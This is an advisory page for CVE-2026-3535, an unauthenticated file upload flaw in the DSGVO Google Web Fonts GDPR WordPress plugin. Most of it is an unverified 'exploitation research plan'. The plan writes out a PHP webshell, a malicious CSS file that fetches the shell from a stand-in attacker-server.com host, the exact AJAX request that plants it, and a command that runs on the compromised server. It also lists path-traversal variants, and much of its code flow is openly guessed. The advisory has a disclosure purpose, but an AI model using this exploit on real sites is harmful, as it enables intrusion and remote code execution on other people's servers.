CVE-2026-3535

DSGVO Google Web Fonts GDPR <= 1.1 - Unauthenticated Arbitrary File Upload via 'fonturl' Parameter

criticalUnrestricted Upload of File with Dangerous Type
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The DSGVO Google Web Fonts GDPR plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the `DSGVOGWPdownloadGoogleFonts()` function in all versions up to, and including, 1.1. The function is exposed via a `wp_ajax_nopriv_` hook, requiring no authentication. It fetches a user-supplied URL as a CSS file, extracts URLs from its content, and downloads those files to a publicly accessible directory without validating the file type. This makes it possible for unauthenticated attackers to upload arbitrary files including PHP webshells, leading to remote code execution. The exploit requires the site to use one of a handful of specific themes (twentyfifteen, twentyseventeen, twentysixteen, storefront, salient, or shapely).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.1
PublishedApril 7, 2026
Last updatedApril 8, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3535 (DSGVO Google Web Fonts GDPR) ## 1. Vulnerability Summary The **DSGVO Google Web Fonts GDPR** plugin (up to version 1.1) is vulnerable to **Unauthenticated Arbitrary File Upload** leading to Remote Code Execution (RCE). The vulnerability exists in the `DS…

Show full research plan

Exploitation Research Plan: CVE-2026-3535 (DSGVO Google Web Fonts GDPR)

1. Vulnerability Summary

The DSGVO Google Web Fonts GDPR plugin (up to version 1.1) is vulnerable to Unauthenticated Arbitrary File Upload leading to Remote Code Execution (RCE). The vulnerability exists in the DSGVOGWPdownloadGoogleFonts() function, which is hooked into wp_ajax_nopriv_DSGVOGWPdownloadGoogleFonts.

The function takes a user-supplied URL (fonturl), fetches its content (intended to be a Google Fonts CSS file), parses the content for URLs using a regular expression (identifying font file links), and then downloads those identified files to a publicly accessible directory on the WordPress server. Crucially, the plugin fails to validate the file extension or MIME type of the files downloaded from the URLs extracted from the CSS content. An attacker can provide a "CSS" file containing a link to a PHP shell, causing the plugin to fetch and store the shell on the server.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: DSGVOGWPdownloadGoogleFonts
  • Hook: wp_ajax_nopriv_DSGVOGWPdownloadGoogleFonts (Unauthenticated) and wp_ajax_DSGVOGWPdownloadGoogleFonts (Authenticated).
  • Vulnerable Parameter: fonturl (POST or GET, typically POST in AJAX).
  • Preconditions:
    • The WordPress site must be running one of the following themes: twentyfifteen, twentyseventeen, twentysixteen, storefront, salient, or shapely. (The plugin likely checks the current theme name via wp_get_theme()->get_template()).
    • The wp-content/uploads/ directory must be writeable (standard for WordPress).

3. Code Flow (Inferred)

  1. Entry: A request is sent to admin-ajax.php?action=DSGVOGWPdownloadGoogleFonts.
  2. Hook Execution: WordPress triggers the DSGVOGWPdownloadGoogleFonts() function.
  3. Theme Check: The function likely checks if ( in_array( wp_get_theme()->get_template(), [...] ) ).
  4. CSS Fetch: The code retrieves the URL from $_POST['fonturl'].
  5. Content Retrieval: The plugin uses wp_remote_get( $fonturl ) to fetch the "CSS" content.
  6. Regex Parsing: It uses a regex like /url\(['"]?([^'")]+\.(?:ttf|woff2?|eot|otf|php))['"]?\)/i (or even broader) to find file URLs within the CSS.
  7. Download Loop: For each match, it calls wp_remote_get( $file_url ).
  8. Sink: The content of the downloaded file is saved to the filesystem using file_put_contents() or WP_Filesystem in a directory like wp-content/uploads/dsgvo-google-web-fonts/. No extension checking is performed on the $file_url or the resulting filename.

4. Nonce Acquisition Strategy

The vulnerability is described as unauthenticated and reachable via nopriv. However, many WordPress AJAX handlers still implement a nonce check via check_ajax_referer.

Nonce Investigation

  1. Search for Nonce Creation: Search the plugin source for wp_create_nonce. Look for the action string (e.g., dsgvo-gdpr-nonce).
  2. Search for Localized Scripts: Look for wp_localize_script.
    • Target Variable (Inferred): window.dsgvogwp_ajax?.nonce or window.dsgvo_gdpr_vars?.nonce.
  3. Triggering Nonce Generation: The plugin likely only enqueues the script and nonce if the theme is supported and/or a specific setting is enabled.
  4. Acquisition Steps:
    • Install and activate a supported theme: wp theme install twentyseventeen --activate.
    • Create a dummy post to ensure frontend scripts load: wp post create --post_status=publish --post_content='Testing Fonts'.
    • Navigate to the homepage.
    • Use browser_eval to find the nonce:
      // Example (search for common patterns if exact key is unknown)
      Object.keys(window).find(key => key.includes('dsgvo')) 
      

5. Exploitation Strategy

The exploit requires an external "attacker" server to host two files: the malicious CSS and the PHP shell.

Step 1: Prepare Attacker Files

  1. PHP Shell (shell.php):
    <?php echo shell_exec($_GET['cmd']); ?>
    
  2. Malicious CSS (exploit.css):
    @font-face {
      font-family: 'Exploit';
      src: url('http://attacker-server.com/shell.php');
    }
    

Step 2: Trigger the Upload

Send the AJAX request to the target WordPress site.

  • Request Type: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=DSGVOGWPdownloadGoogleFonts&fonturl=http://attacker-server.com/exploit.css&nonce=<NONCE_IF_REQUIRED>
    

Step 3: Locate the Shell

The plugin likely creates a subdirectory in uploads. Common naming conventions:

  • /wp-content/uploads/dsgvo-google-web-fonts/shell.php
  • /wp-content/uploads/dsgvo-fonts/shell.php

The exact path can be identified by:

  1. Monitoring the response of the AJAX call (it might return the local path).
  2. Checking the plugin source for the wp_upload_dir() usage.

6. Test Data Setup

  1. Theme Setup:
    wp theme install twentyseventeen --activate
    
  2. Plugin Activation:
    wp plugin activate dsgvo-google-web-fonts-gdpr
    
  3. Public Page: Ensure a public page exists for nonce extraction if needed.

7. Expected Results

  • The AJAX request should return a 200 OK status.
  • The plugin will make an outbound request to attacker-server.com/exploit.css.
  • The plugin will then make a second outbound request to attacker-server.com/shell.php.
  • A file named shell.php (or similar) will be created in the WordPress uploads directory.

8. Verification Steps

  1. Confirm File Creation (via CLI):
    find /var/www/html/wp-content/uploads -name "shell.php"
    
  2. Verify RCE:
    Perform an HTTP request to the uploaded shell:
    http_request "http://<target>/wp-content/uploads/dsgvo-google-web-fonts/shell.php?cmd=id"
    
    Expected Response: Contains output of the id command (e.g., uid=33(www-data)).

9. Alternative Approaches

  • Path Traversal: If the filename is extracted from the URL, check if src: url('http://attacker.com/../../shell.php') allows escaping the intended directory.
  • Direct Parameter Injection: If the regex is weak, try fonturl=http://attacker.com/exploit.css?url=shell.php.
  • Theme Bypass: If the site is not using a supported theme, try to pass a template or theme parameter if the plugin uses $_REQUEST to determine the current theme context, though this is unlikely given wp_get_theme(). If blocked, the researcher must manually switch themes as part of the "preconditions."

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.